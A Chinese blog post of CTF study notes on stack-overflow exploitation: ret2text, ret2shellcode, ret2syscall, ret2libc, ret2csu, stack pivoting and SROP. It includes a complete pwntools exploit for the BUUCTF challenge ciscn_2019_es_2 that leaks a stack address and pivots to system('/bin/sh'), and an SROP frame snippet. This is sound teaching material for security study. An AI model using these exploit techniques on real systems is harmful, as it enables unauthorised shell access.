栈溢出

原理

原理: 利用危险函数,将返回地址填充到栈帧上的返回地址,从控制该函数结束时返回到的地方

危险函数

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy

初级栈溢出

ret2text

利用.text段中的代码

确定填充长度后 构造payload即可

例子

ret2shellcode

  • shellcode

    控制程序执行shellcode代码,常见功能是获取目标系统的shell,我们需向内存中填充一些可执行的代码

    意味着,shellcode所在区域需要有可执行的权限

  • 原理:

    我们向可执行的区域写入shellcode,然后执行即可

  • pwntools

    1
    shellcode = asm(shellcraft.sh())

    一键生成shellcode

ret2syscall

  • 原理:

    利用系统调用获取shell

  • 系统调用知识补充:

    跟函数没什么区别,不过我们所调用的函数是系统给的罢了

    系统调用号:rax

    前6个参数:rdi rsi rdx r10 r8 r9

    • 系统调用号

      32位
      32位
      64位
      64位

  • ret2syscall

    • 寻找gadgets来控制寄存器为特定的值从而执行execve("/bin/sh",NULL,NULL)

      工具:ROPgadget --binary 可执行文件名 --only 'pop|ret' | grep 'eax'

ret2libc

  • .plt与.got

    简单聊聊PLT和GOT_plt与got-CSDN博客

    PLT(Procedure Linkage Table)

    PLT 是一个跳转表,跳转到got表,从而执行函数

    工作原理:

    当程序第一次调用共享库中的函数时,会通过 PLT 跳转到一个 stub 代码段。这个 stub 会将控制权转移到动态链接器(ld.so),动态链接器会在 GOT 中查找或解析目标函数的实际地址,然后更新 GOT 的对应条目,之后,再次调用同一函数时,PLT 会直接从 GOT 中读取已解析的地址并跳转到目标函数

    GOT(Global Offset Table)

    GOT 是一个表,存储程序运行时需要使用的全局变量和函数的实际地址。

    工作原理:

    程序加载时,GOT 的条目中存储的是共享库函数的默认入口地址(通常指向 PLT 中的 stub),当动态链接器解析了实际的函数地址后,会更新 GOT 对应的条目,使其指向正确的目标函数,之后,主程序对函数的调用直接通过 GOT 获取实际地址,提高效率。

    也就是说,在使用一次函数后,got内存储的是真实地址

    PLT 和 GOT协同找到正确的函数地址
    工作流程: 首先主程序中所有对共享库函数的调用,都会经过 PLT 跳转。然后PLT 中的第一跳通常指向 GOT 表中的一项。此时GOT 中的条目在未解析时会指向 PLT 中的 stub 地址,动态链接器负责更新 GOT 条目。解析完成后,GOT 保存目标函数的真实地址,后续调用直接通过 GOT 加快速度。

  • ret2libc

    也就是利用libc中的system函数和/bin/sh的地址获取目标系统shell

    利用泄露已知函数的真实地址,计算libc基地址,从而得到system与/bin/sh的真实地址,从而得到shell

中级栈溢出

ret2csu

原理:

  • 在64位程序中,前6个参数由寄存器传递,但大多数时候,难找到每一个寄存器的gadgets,这时可以利用_libc_csu_csu中的gadgets
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
//主要利用以下模块
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序,从而退出这个gadgets。这里我们可以简单的设置 rbx=0,rbp=1。

栈迁移

栈迁移的原理&&实战运用 - ZikH26 - 博客园

  • 换个地方getshell

使用条件:

溢出长度不够,payload长度收到限制无法执行getshell

  • 能够栈溢出,起码也要覆盖ebp
  • 要有可写的地方
    • bss段
    • 栈中

原理

  • 核心

    两次的leave,ret
    leave:mov esp,ebp;pop ebp

    ret:pop eip

  • main函数里的栈迁移

    第一次leave ret;将ebp给放入我们指定的位置(这个位置的就是迁移后的所在位置)

    第二次将esp也迁移到这个位置,并且pop ebp之后,esp也指向了下一个内存单元(此时这里放的就是system函数的plt地址

    第一次

    第二次

例题:

buu的ciscn_2019_es_2

BUUCTF在线评测

  • checksec

    1737718391990

  • IDA

    17377184231121737718435019

    1737718474976

  • 思路

    就是利用栈迁移,将ebp覆盖成s顶部地址,将返回地址覆盖成leave,ret的地址即可

    现在主要是要得到s顶部的地址,ida里可以利用第一个read将\0覆盖掉从而泄露ebp上的内容,计算偏移后得到s地址

  • 计算偏移

    将断点下载nop处,gdb调试

    1737719058637

    得到偏移0x38

  • 构造栈上数据

    1737719250596

  • 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    from pwn import *
    # r=remote("node5.buuoj.cn",25608)
    r=process('./es2')
    context(os='linux', arch='i386', log_level='debug')
    elf=ELF('./es2')
    main_addr=elf.symbols['main']
    leave_ret_addr=0x08048562
    system_addr=0x08048400
    # gdb.attach(r)

    r.recvuntil("Welcome, my friend. What's your name?")
    payload1=b'A'*0x25+b'ANV'
    r.send(payload1) # 注意这里要是send而不是sendline,否则在底下接收数据的时候会出错,因为多了一个回车那么就不再是recv到ANV了
    r.recvuntil("ANV")
    ebp=u32(r.recv(4))
    print(hex(ebp))
    s_addr=ebp-0x38
    binsh_addr=s_addr+0x10 # 栈上距离s填充四格,所以要加16,也就是0x10
    print(hex(binsh_addr))
    print(hex(s_addr))

    payload2=b'AAAA'+p32(system_addr)+p32(main_addr)+p32(binsh_addr)+b'/bin/sh'
    payload2=payload2.ljust(0x28,b'\x00')
    payload2+=p32(s_addr)+p32(leave_ret_addr)
    r.send(payload2)
    # pause()
    r.interactive()

SROP

  • signal机制

    signal

    • 内核向进程发送signal机制,进程被挂起,进入内核态
    • 内核态保存上下文:将所有寄存器压入栈中,压入signal信息。指向sigreturn的系统掉哦那个地址,也就是图中所示的1过程
    • 在signal handler后执行sigreturn,恢复寄存器,我们所做的就是构造好栈,然后触发sigreturn,达到控制寄存器的目的,从而getshell
    • 32位sigreturn调用号为118
    • 64位sigreturn调用号为15
  • 前提条件

    • 必须存在栈溢出
    • 必须知道/bin/sh的地址
    • 允许溢出的长度必须足够长
    • 可以去系统调用sigreturn
    • 知道syscall的地址
  • 如何利用

    • 我们通过伪造SignFrame,然后除法Sigreturn,将栈中构造好的数据送入寄存器,通过syscall执行系统调用

    • pwntools集成了SROP的攻击

      1
      2
      3
      4
      5
      6
      7
      8
      # 例子
      sigframe = SigreturnFrame()
      sigframe.rax = constants.SYS_execve
      sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
      sigframe.rsi = 0x0
      sigframe.rdx = 0x0
      sigframe.rsp = stack_addr
      sigframe.rip = syscall_ret

      我们可以直接设置寄存器的值

    • 首先设置rax,将返回地址覆盖成syscall,触发sigreturn即可


栈溢出
http://yyyffff.github.io/2025/01/22/栈溢出/
作者
yyyffff
发布于
2025年1月22日
许可协议